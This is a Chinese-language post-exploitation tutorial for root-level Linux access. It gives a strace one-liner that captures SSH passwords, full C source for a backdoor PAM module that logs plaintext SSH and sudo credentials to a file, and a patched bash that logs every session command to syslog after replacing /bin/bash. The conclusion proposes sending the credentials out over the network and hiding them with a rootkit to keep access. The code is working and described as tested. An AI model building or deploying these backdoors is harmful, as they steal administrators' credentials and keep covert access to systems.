在获得目标机器的root权限之后,我们已经拥有了对整个系统至高无上的权力,同时我们也可以采集很多在低权限状态下无法获得的信息,通过对这些信息的获取我们能够更加全面地了解目标的安全策略,从而为后续目标的渗透提供信息支持。尽管在拥有root权限的前提下我们可以“为所欲为”,但是一些特殊信息的获取依旧需要一些方案的支持,例如管理员SSH连接的明文口令和SUDO提权的口令获取以及对于连接中的session的命令实时获取,本文将就以上三点展开详细讨论,并就一部分环境给出我们的测试结果。
记录SSH连接密码和SUDO密码
在记录SSH连接密码的研究过程中,有一种利用strace记录连接密码的方案,如下所示:
strace -xx -fp `cat /var/run/sshd.pid` 2>&1| grep --line-buffered -P 'write(d, "x00' | perl -lne '$|++; @F=/"s*([^"]+)s*"/g;for (@F){tr/x//d}; print for @F'|grep --line-buffered -oP '.{8}K([2-7][0-9a-f])*$'|grep --line-buffered -v '^64$'|perl -pe 's/([0-9a-f]{2})/chr hex $1/gie'
然而这种方案带来的问题是其占用的资源比较大,会产生很多进程,同时在不同的环境中不能够稳定地获取连接的密码。因此我们有必要另辟蹊径,将目光从sshd进程中转移到Linux的PAM模块中。
什么是Linux-PAM?
PAM的全称为“可插拔认证模块(Pluggable Authentication Modules)”,本质是一套共享库。系统管理员通过修改配置以及更改共享模块的方式改变对程序的认证方式,不管是SSH连接登录还是使用SUDO进行提权,都需要由PAM配置文件指定的验证模块认证。
如何利用PAM模块记录密码
配置文件修改
为了记录SSH登录密码和SUDO密码,我们需要在PAM模块中增加自己的共享模块,并修改相关配置使创建的共享模块出现在以上登录验证的流程中。在Ubuntu下,我们通过对/etc/pam.d
文件夹下的sshd
和sudo
的PAM使用配置的查看,可以发现他们都对common-auth
配置进行了引用,因此我们在/etc/pam.d/common-auth
配置文件中添加以下配置,而在Centos下则各自在/etc/pam.d/sshd
和/etc/pam.d/sudo
中添加如下配置。
auth optional example.soaccount optional example.so
在上述配置中,auth
和account
是PAM模块配置的管理方式,分别用于识别用户身份和检查账号属性;optional
是PAM的控制标记,表示即便该模块失败,用户仍能通过鉴别,除非整个验证流程只有这一个条目,example.so
则是我们创建的共享模块文件名。
共享模块制作
在介绍共享模块制作前,先简要介绍一下PAM开发。PAM开发分为应用程序开发和服务程序开发,其中服务模块定义了一系列服务接口,以pam_sm_xxx()
形式出现,与应用程序开发中的pam_xxx()
对应。在本次模块制作中,我们根据添加的管理方式auth
和account
在模块中实现了以下服务函数接口:
PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv )
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv)
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv )
其中对于pam_sm_setcred
和pam_sm_acct_mgmt
我们只是简单返回PAM_SUCCESS
,而在pam_sm_authenticate
的实现中添加了主机信息以及用户名密码的记录功能,并编译成共享模块,具体的代码实现如下(通过对STOREPATH修改来指定密码信息保存位置):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <unistd.h>
#define STOREPATH "/tmp/example.txt"
PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
int retval;
const char* username;
const char* password;
char hostname[128];
retval = pam_get_user(pamh, &username, "Username: ");
if (retval != PAM_SUCCESS) {
return retval;
}
retval = pam_get_authtok(pamh,PAM_AUTHTOK,&password,NULL);
if (retval != PAM_SUCCESS) {
return retval;
}
gethostname(hostname, sizeof hostname);
FILE *fp = NULL;
fp = fopen(STOREPATH, "a+");
fprintf(fp, "%s:%s:%sn",hostname,username,password);
fclose(fp);
return PAM_SUCCESS;
}
对于共享模块的编译可以直接使用该Makefile,编译方法即make
:
CFLAGS += -Werror -Wall
example.so: example.c
gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $<
至此我们简述了共享模块的编码制作,将编译得到的文件放置Ubuntu的/lib/security
目录下(如果没有则创建一个)或者是Centos的/lib64/security
目录下,结合上一小节添加的配置信息,我们成功地在sshd
和sudo
的验证流程中添加了我们的密码记录模块,同时开启一个新的SSH会话以及进行SUDO提权时可以在/tmp/example.txt
中记录下主机信息和用户名密码,此方案在Ubuntu1604,Ubuntu1804以及Centos7下测试成功。
注意事项
在将已编译好的example.so
用sudo cp example.so /lib/security/ or /lib64/security/
命令放置在指定目录下,否则可能产生模块无法生效的BUG。
实时记录SSH命令
对于bash的命令记录我们都很熟悉,但是需要注意的是.bash_history
记录的是前一次登录以前所执行过的命令,此次登录的命令将存在内存中,在注销之后才会写入文件,而这次给出的方案是对处于SSH连接中的会话所产生的命令做实时记录,方案对于Bash进行了稍加修改赋予了其实时记录命令的功能。
Bash源码的修改与编译
首先我们下载合适版本的Bash源码,其实源码中包含对命令执行的记录,但可能由于性能之类的原因该选项默认被注释,同时相关的处理函数中并没有对命令的详细记录,而是简单地记录了PID和UID,为此我们需要修改源码中的两个部分。
Part1:config-top.h 在此头文件中,默认将SYSLOG_HISTORY
的定义注释了,我们需要将注释取消,使得Bash拥有记录SYSLOG的功能,初始状态如下(我们取消这行的注释):
#define SYSLOG_HISTORY
Part2:bashhist.c 其中对于命令的具体记录并没有实现,我们找到处理历史记录的函数bash_syslog_history
,对函数进行一些局部调整,在记录中添加了用户名以及具体的命令,该函数的重写如下:
voidbash_syslog_history (line)
const char *line;
{ char trunc[SYSLOG_MAXLEN];
static int first = 1; if (first)
{
openlog (shell_name, OPENLOG_OPTS, SYSLOG_FACILITY);
first = 0;
} if (strlen(line) < SYSLOG_MAXLEN)
syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "HISTORY: PID=%d UID=%d User=%s CMD=%s", getpid(), current_user.uid,current_user.user_name, line); else
{
strncpy (trunc, line, SYSLOG_MAXLEN);
trunc[SYSLOG_MAXLEN - 1] = '0';
syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "HISTORY (TRUNCATED): PID=%d UID=%d User=%s CMD=%s", getpid(), current_user.uid, current_user.user_name,trunc);
}
}
Bash替换与命令查看
修改完源码后,我们编译生成带有命令记录的bash,之后我们直接将/bin/bash
替换为新生成的bash,这里要确保你的bash文件有执行权限。替换之后我们可以在ubuntu下的/var/log/syslog
或者是Centos下的/var/log/messages
中观察到实时更新的命令记录,在这里有两点需要注意:
- bash记录命令的文件位置与Linux发行版有关,在Ubuntu1604和Ubuntu1804虚拟机的测试中,实时命令记录在
/var/log/syslog
文件里,而在centos7中则是记录在/var/log/messages
文件里,因此在不同发行版的测试中需要通过查看/var/log
目录下文件的变化来确定记录位置。 - 在替换bash之后,已经连接的session并不会被实时记录命令,只有在替换bash之后建立的连接才能够被实时记录。
结束语
通过阅读本文,我们了解了在root权限下对于SSH登录和SUDO明文口令的获取以及实时命令的记录,以上的代码只是作为一个demo程序进行测试,在以上demo的基础上可以实现更多的功能:例如在PAM获取口令的解决方案中,是否可以不单单将信息存储到目标机器的本地,而是通过网络传输的方式将用户和口令信息实时传递给渗透人员呢?是否可以结合之前公众号中提及的rootkit方案实现对这种网络通讯以及文件的隐匿从而实现对目标机器口令的长期获取并完成权限的维持呢?以及是否可以利用PAM和Bash的方案实现更多的后门需求?我们认为以上的思路都是具有操作性的,也希望通过这篇文章为您带来一些独特的思路,最后附上对于以上demo的测试结果以供参考。